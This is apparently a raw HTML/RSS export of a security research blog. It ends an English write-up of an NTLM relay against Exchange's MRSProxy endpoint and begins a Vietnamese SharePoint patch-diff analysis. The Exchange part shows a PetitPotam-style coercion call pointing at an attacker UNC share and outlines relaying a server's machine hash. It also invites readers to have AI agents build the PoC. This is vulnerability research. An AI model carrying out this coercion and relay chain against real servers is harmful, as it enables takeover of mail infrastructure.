data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:278,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hrH0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 424w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 848w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 1272w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>For the authentication part, we know that Exchange exposes MRSProxy through two different HTTPS paths:</p><ul><li><p>/EWS/MRSProxy.svc</p></li><li><p>/Microsoft.Exchange.MailboxReplicationService.ProxyService</p></li></ul><ol><li><p>For <strong>/EWS/MRSProxy.svc,</strong> it has two protections:</p></li></ol><ul><li><p><code>MRSProxyEnabled</code> property control whether EWS can forward MRSProxy to backend, and based on my setup, I saw it&#8217;s disabled by default!</p></li><li><p>The Exchange Extended Protection mitigation =&gt; which protect /ews from the ntlm relay attack!</p></li></ul><p>So if we want to go through this path, we have to find a novel-like auth bypass, which is almost impossible for last 4 years!</p><p>2. For the second endpoint:</p><p><strong>/Microsoft.Exchange.MailboxReplicationService.ProxyService</strong>, look at the service config at <strong>[1]</strong>, we can see that, this endpoint uses Windows Negotiate auth.</p><p>And because it goes directly through the HTTP.sys, no further EAP will be applied to this auth part!</p><p>But not so fast &#8230;</p><p>It doesn&#8217;t mean that any user can authenticate to this endpoint!</p><p>Look closer at <code>MRSProxyAuthorizationManager.GetPrincipal()</code>, it first receives the identity established by HTTP.sys</p><pre><code>IAuthenticationInfo authenticationInfo =
    base.Authenticate(operationContext);

WindowsIdentity windowsIdentity =
    authenticationInfo.WindowsPrincipal.Identity as WindowsIdentity;</code></pre><p>Then, peforms the Exchange-specific authorization check:</p><pre><code>using (ClientSecurityContext clientContext =
       new ClientSecurityContext(windowsIdentity))
{
    if (!LocalServer.AllowsTokenSerializationBy(clientContext))
    {
        return null;
    }
}</code></pre><p><strong>AllowsTokenSerializationBy()</strong> check whether the connecting identity has this Exchange extended right:</p><pre><code>ms-Exch-EPI-Token-Serialization</code></pre><p>In Exchange Server setup, only Exchange server machine accounts get this right!</p><p>So in short, this endpoint supposed to be used internally for Exchange servers only!</p><p>&#8230;</p><p>Then what? We need to find another NTLM auth bypass?</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9m5t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9m5t!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 424w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 848w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 1272w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9m5t!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif" width="320" height="320" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/de89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:220,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9m5t!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 424w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 848w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 1272w, https://substackcdn.com/image/fetch/$s_!9m5t!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde89bbbe-6e18-4be0-8234-48201795f64f_220x220.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>&#8230;</p><p>This is where the remaining questions give us some idea!</p><ul><li><p>Why <strong>low_priv_attacker</strong>?</p></li><li><p>Why using the FQDN <strong>ex01.exchangelab.local</strong> for target?</p></li></ul><p>The most plausible hypothesis to answer this question is:</p><p><em>The attacker sits inside the network, especially inside a domain-joined PC!</em></p><p>To confirm this hypothesis, we can ask Codex to confirm that (<em>sorry but the time writing this, we&#8217;ve already lost access to Anthropics CVP so we can do nothing now, and Claude also talks too much now</em>).</p><p>And we really got something useful here: <strong>MS-EFSR</strong> via Windows RPC, also widely known as the <a href="https://github.com/topotam/PetitPotam">PetitPotam</a> trick.</p><p>By using this, we can connect to a Exchange Server (for example: <strong>EX01</strong>) and call EfsRpcEncryptFileSrv():</p><pre><code>EfsRpcEncryptFileSrv(
    FileName = &#8220;\\attacker\share\whatever&#8221;
)</code></pre><p>Which will force Exchange Server to connect to attacker&#8217;s UNC path, and authenticate using machine account!</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!irj-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!irj-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 424w, https://substackcdn.com/image/fetch/$s_!irj-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 848w, https://substackcdn.com/image/fetch/$s_!irj-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 1272w, https://substackcdn.com/image/fetch/$s_!irj-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!irj-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png" width="521" height="222" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:222,&quot;width&quot;:521,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!irj-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 424w, https://substackcdn.com/image/fetch/$s_!irj-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 848w, https://substackcdn.com/image/fetch/$s_!irj-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 1272w, https://substackcdn.com/image/fetch/$s_!irj-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F528518f0-fbad-4348-ac21-7d08bbcce2b1_521x222.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We don&#8217;t even need to crack this hash. As we know that the <strong>/Microsoft.Exchange.MailboxReplicationService.ProxyService</strong> endpoint didn&#8217;t have any hardened authentication mechanism.</p><p>So the answer is quite simple, just capture the hash of EX02 and relay to EX01 MRSProxy, like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zhcr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zhcr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 424w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 848w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 1272w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zhcr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png" width="614" height="382" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:382,&quot;width&quot;:614,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zhcr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 424w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 848w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 1272w, https://substackcdn.com/image/fetch/$s_!zhcr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb32a9d60-7db2-4b19-a95b-277e90d433d5_614x382.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This one works only for multiple Exchange servers setup because the captured hash cannot be relayed to itself!</p><p>I was surprised</p><p>And .. that&#8217;s all,</p><p>It requires lot of non-realistic conditions to be exploited in the real world:</p><ul><li><p>Why would someone allow Exchange Server make outbound connection?</p></li><li><p>Why would someone allow the connection to Exchange on port 445, 139, 3389, &#8230; from domain users?</p></li><li><p>&#8230;</p></li></ul><p>But yeah, who know &#175;\_(&#12484;)_/&#175;.</p><p>So, for the defensive guys, don&#8217;t be panic!</p><p>PoC:</p><div id="youtube2-JVrJUhvl9CU" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;JVrJUhvl9CU&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/JVrJUhvl9CU?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p></p><p>For ready-to-play PoC, just feed this blog to your AI agents. :) It would know what to do next!</p><p>Thanks for reading!</p><p>__by Jang &amp; Mugmug of MB VRED__</p>]]></content:encoded></item><item><title><![CDATA[Phân tích 1day Sharepoint trong một buổi chiều đầu hạ]]></title><description><![CDATA[Tu&#7847;n tr&#432;&#7899;c Microsoft v&#7915;a release b&#7843;n v&#225; b&#7843;o m&#7853;t th&#225;ng 5/2026 cho Sharepoint, b&#7843;n v&#225; n&#224;y fix r&#7845;t nhi&#7873;u l&#7895; h&#7893;ng cho ph&#233;p RCE.]]></description><link>https://vred.mbbank.com.vn/p/phan-tich-1day-sharepoint-trong-mot</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/phan-tich-1day-sharepoint-trong-mot</guid><dc:creator><![CDATA[MB VRED]]></dc:creator><pubDate>Tue, 19 May 2026 07:00:35 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!np7J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Tu&#7847;n tr&#432;&#7899;c Microsoft v&#7915;a release b&#7843;n v&#225; b&#7843;o m&#7853;t th&#225;ng 5/2026 cho Sharepoint, b&#7843;n v&#225; n&#224;y fix r&#7845;t nhi&#7873;u l&#7895; h&#7893;ng cho ph&#233;p RCE. Sau khi diff th&#236; m&#236;nh th&#7845;y c&#243; entry point s&#7917; d&#7909;ng attack surface quen thu&#7897;c &#273;&#227; &#273;&#432;&#7907;c khai th&#225;c r&#7845;t nhi&#7873;u tr&#234;n Sharepoint v&#224; c&#361;ng nh&#432; l&#224; &#273;&#7875; &#8220;kh&#7903;i &#273;&#7897;ng&#8221; cho b&#7843;n v&#225; P2O s&#7855;p t&#7899;i, m&#236;nh quy&#7871;t &#273;&#7883;nh th&#7917; t&#236;m hi&#7875;u v&#224; ph&#226;n t&#237;ch bug n&#224;y.</p><p>Do gi&#7899;i h&#7841;n v&#7873; th&#7901;i gian, khuy&#7871;n kh&#237;ch b&#7841;n &#273;&#7885;c n&#234;n &#273;&#7885;c c&#225;c blog sau &#273;&#7875; hi&#7875;u r&#245; h&#417;n v&#7873; root cause c&#7911;a attack surface n&#224;y:</p><ul><li><p><a href="https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf">https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf</a></p></li><li><p><a href="https://code-white.com/blog/exploiting-asp.net-templateparser-part-1">https://code-white.com/blog/exploiting-asp.net-templateparser-part-1</a></p></li><li><p><a href="https://blog.viettelcybersecurity.com/sharepoint-toolshell">https://blog.viettelcybersecurity.com/sharepoint-toolshell</a></p></li></ul><p>Nh&#432; &#273;&#227; n&#243;i &#7903; tr&#234;n l&#224; b&#7843;n update n&#224;y v&#225; nhi&#7873;u bug RCE n&#234;n m&#236;nh c&#361;ng kh&#244;ng bi&#7871;t bug ph&#226;n t&#237;ch trong b&#224;i c&#243; CVE nh&#432; n&#224;o n&#234;n t&#7841;m g&#7885;i n&#243; theo entrypoint <code>ProxyUpdateExecutor</code>.</p><p>Sau khi c&#224;i &#273;&#7863;t b&#225;n v&#225; v&#224; decompile, ta c&#243; &#273;&#432;&#7907;c k&#7871;t qu&#7843; nh&#432; sau:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PXDX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PXDX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 424w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 848w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 1272w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PXDX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png" width="613" height="279" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:279,&quot;width&quot;:613,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PXDX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 424w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 848w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 1272w, https://substackcdn.com/image/fetch/$s_!PXDX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbca7cbd0-d35b-4a3b-976c-00e5e1ee6b9e_613x279.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><code>ProxyUpdateExecutor.cs</code> c&#243; s&#7921; thay &#273;&#7893;i, method <code>HandleAttribute()</code> c&#7911;a nested class <code>RegisterDirectiveContext</code> &#273;&#432;&#7907;c add th&#234;m filter cho c&#225;c attribute</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!np7J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!np7J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 424w, https://substackcdn.com/image/fetch/$s_!np7J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F39b5aec4-aad7-408a-bfcf-94b7c82b0f6c_822x706.png 848w, 